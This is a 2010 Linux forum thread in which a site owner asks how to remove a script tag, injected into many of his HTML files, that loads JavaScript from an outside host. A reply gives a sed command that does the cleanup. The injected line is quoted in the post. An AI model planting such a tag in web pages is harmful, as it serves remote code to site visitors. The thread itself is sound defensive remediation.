LinuxQuestions.org
Help answer threads with 0 replies.
Home Forums Tutorials Articles Register
Go Back   LinuxQuestions.org > Forums > Non-*NIX Forums > Programming
User Name
Password
Programming This forum is for all programming questions.
The question does not have to be directly related to Linux and any language is fair game.

Notices


Reply
  Search this Thread
Old 07-13-2010, 07:45 AM   #1
djlane
LQ Newbie
 
Registered: Jul 2010
Posts: 3

Rep: Reputation: 0
Help to remove script data from file using grep & sed


On one of my servers, it appears that a bunch of html files got the following code added to it...

Quote:
<script src='http://b.rtbn2.cn/E/J.JS'></script></body></HTML>
I was going to try to remove this line using grep & sed... as sample
grep -lr -e 'apples' *.html | xargs sed -i 's/apples/oranges/g'

I can get the grep portion to work...
Code:
grep "<script src='http:\/\/b.rtbn2.cn\/E\/J.JS'[>][<]\/script[>]" *
But not the sed

Any help would be appreciated... I will also make sure that the security right on that directory is changed - so this can't happen again.

DJ
 
Old 07-13-2010, 08:10 AM   #2
David the H.
Bash Guru
 
Registered: Jun 2004
Location: Osaka, Japan
Distribution: Arch + Xfce
Posts: 6,852

Rep: Reputation: 2037Reputation: 2037Reputation: 2037Reputation: 2037Reputation: 2037Reputation: 2037Reputation: 2037Reputation: 2037Reputation: 2037Reputation: 2037Reputation: 2037
Code:
sed "/rtbn2/ s|<script src='http://b.rtbn2.cn/E/J.JS'></script>||" filename
In sed, you can use about any regular ascii character as the delimiter, not just /, which makes it easier to handle html input. In this case I used |.

I also added the /rtbn2/ address at the beginning, which, while not necessary, should make it a bit more efficient. Only lines containing that string will have the substitution command run on them.

Also have a look at the -i option for editing the files in place, with optional backup creation.
 
  


Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
Get data from multi lined text file using awk, sed or perl - grep & cut not upto par cam34 Programming 4 07-02-2010 03:10 AM
sed/awk/grep for multiple line data hotrodmacman Programming 8 10-18-2007 11:06 AM
bash script with grep and sed: sed getting filenames from grep odysseus.lost Programming 1 07-17-2006 11:36 AM
[bash / sed] remove all data between < > Ljohan Programming 4 03-15-2006 05:20 AM
sed & grep script? dolvmin Linux - Software 20 09-22-2003 06:30 AM

LinuxQuestions.org > Forums > Non-*NIX Forums > Programming

All times are GMT -5. The time now is 02:28 PM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration